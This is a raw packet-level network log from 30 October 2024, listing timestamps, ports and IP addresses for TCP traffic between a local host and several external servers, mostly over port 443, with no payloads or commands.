Oct 30, 2024 18:06:42.615863085 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.615905046 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.616034031 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.616444111 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.616455078 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.751255989 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.751367092 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.751562119 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.751596928 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.751600027 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.751650095 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.751823902 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.751847982 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.751914978 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.752032995 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.752113104 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.752167940 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.752216101 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.752218008 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.752264977 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.752640009 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.752665043 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.752753973 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.753149986 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.753176928 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.753305912 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.753339052 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.753561020 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.753580093 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.753807068 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.753840923 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.753976107 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.753992081 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.754105091 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:42.754126072 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:42.761698961 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.761709929 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.761714935 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.761725903 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.761727095 CET	443	49835	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.761732101 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.770061016 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.770330906 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.770339012 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.770812035 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.771161079 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.771291018 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.771327019 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.777010918 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.777031898 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.815346956 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.843907118 CET	49855	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.843970060 CET	443	49855	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.844037056 CET	49855	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.844265938 CET	49855	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.844279051 CET	443	49855	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.871993065 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.872015953 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.872020006 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.881086111 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.881123066 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.946645975 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.960587978 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.961036921 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.961055040 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.961380959 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.961466074 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.962001085 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.962044001 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.963201046 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.963260889 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.963474035 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.963474035 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.963485003 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.994055986 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.994102955 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.994853973 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.994862080 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.007335901 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:43.028623104 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.029285908 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.029331923 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.029730082 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.029736996 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.074394941 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:43.130601883 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.130754948 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.131167889 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.139349937 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.140269041 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:43.155383110 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.156425953 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.156454086 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.158571005 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.158602953 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.159029961 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.159038067 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.159478903 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.159498930 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.159893990 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.159898996 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.168266058 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.168421984 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.168509960 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.171355009 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.171380043 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.171395063 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.171402931 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.175144911 CET	49856	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.175199032 CET	443	49856	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.175286055 CET	49856	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.175502062 CET	49856	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.175517082 CET	443	49856	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.176590919 CET	49857	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.176632881 CET	443	49857	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.176701069 CET	49857	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.176820993 CET	49857	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.176831007 CET	443	49857	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.181600094 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:43.183332920 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:43.184086084 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:43.184109926 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:43.188549042 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.201231956 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.201267958 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.201710939 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.201719046 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.235724926 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.241338968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.289818048 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.289884090 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.290092945 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.290205956 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.290229082 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.290235043 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.290250063 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.293637037 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.293767929 CET	49858	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.293801069 CET	443	49858	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.293868065 CET	49858	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.294002056 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.294039965 CET	49858	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.294047117 CET	443	49858	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.294095993 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.294095993 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.294095993 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.297030926 CET	49859	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.297070026 CET	443	49859	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.297147989 CET	49859	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.297358990 CET	49859	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.297370911 CET	443	49859	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.342892885 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.342969894 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.343064070 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.343472004 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.343472004 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.343533039 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.343559027 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.348408937 CET	49860	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.348447084 CET	443	49860	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.348594904 CET	49860	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.348788977 CET	49860	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.348798990 CET	443	49860	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.363692999 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.364017010 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.364042997 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.365623951 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.365973949 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.366290092 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.366314888 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.366405964 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.366436958 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.366674900 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.366970062 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.367295027 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.367319107 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.367397070 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.367459059 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.367506027 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.367585897 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.367595911 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.367607117 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.367671013 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.368539095 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.368597984 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.368964911 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.369031906 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.369075060 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.369148970 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.369163990 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.369257927 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.369580984 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.369693995 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.369807959 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.369822979 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.369927883 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.370034933 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.370052099 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.370111942 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.370124102 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.370738983 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.370800018 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.371160030 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.371279955 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.371285915 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.399699926 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.400330067 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.400348902 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.401345968 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.401417017 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.401827097 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.401895046 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.402146101 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.402158022 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.411334991 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.415333033 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.456126928 CET	443	49855	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:43.456515074 CET	49855	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:43.456545115 CET	443	49855	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:43.456875086 CET	443	49855	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:43.457290888 CET	49855	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:43.457344055 CET	443	49855	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:43.483124018 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.483457088 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.483479023 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.483846903 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.484149933 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.484239101 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.484464884 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.515064001 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:43.515177965 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:43.515348911 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:43.515818119 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:43.515849113 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:43.516571999 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.516606092 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.516663074 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.516685009 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.516709089 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.516846895 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.517935038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.517947912 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518004894 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518143892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518153906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518182993 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518208027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518271923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518289089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518305063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518321037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518328905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518328905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518352032 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518371105 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518537045 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.518608093 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.518608093 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.518621922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518627882 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.518631935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518651962 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.518682957 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518696070 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.518718958 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.518735886 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.518836975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.518871069 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.518877983 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.518932104 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.518953085 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.518985033 CET	49849	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.519007921 CET	443	49849	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.519424915 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.519474030 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.523622990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.523679972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.523700953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.523708105 CET	49855	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:43.523711920 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.523716927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.523760080 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.531330109 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.532556057 CET	49854	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.532581091 CET	443	49854	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.533699036 CET	49850	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.533718109 CET	443	49850	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.534635067 CET	49852	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.534650087 CET	443	49852	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.568273067 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.609736919 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609765053 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609774113 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609814882 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609832048 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609842062 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609857082 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.609935045 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.609971046 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.609997034 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.648644924 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.648660898 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.648700953 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.648716927 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.648729086 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.648741007 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.648741007 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.648794889 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.649323940 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.649384022 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.651418924 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651454926 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651463985 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651487112 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651495934 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651504993 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651515961 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.651547909 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.651557922 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.651592016 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.659481049 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.659499884 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.659534931 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.659554958 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.659564018 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.659570932 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.659589052 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.659610987 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.659806967 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.659854889 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.678194046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678211927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678231001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678242922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678255081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678270102 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678313971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678348064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678414106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678425074 CET	80	49812	185.215.113.206	192.168.2.5
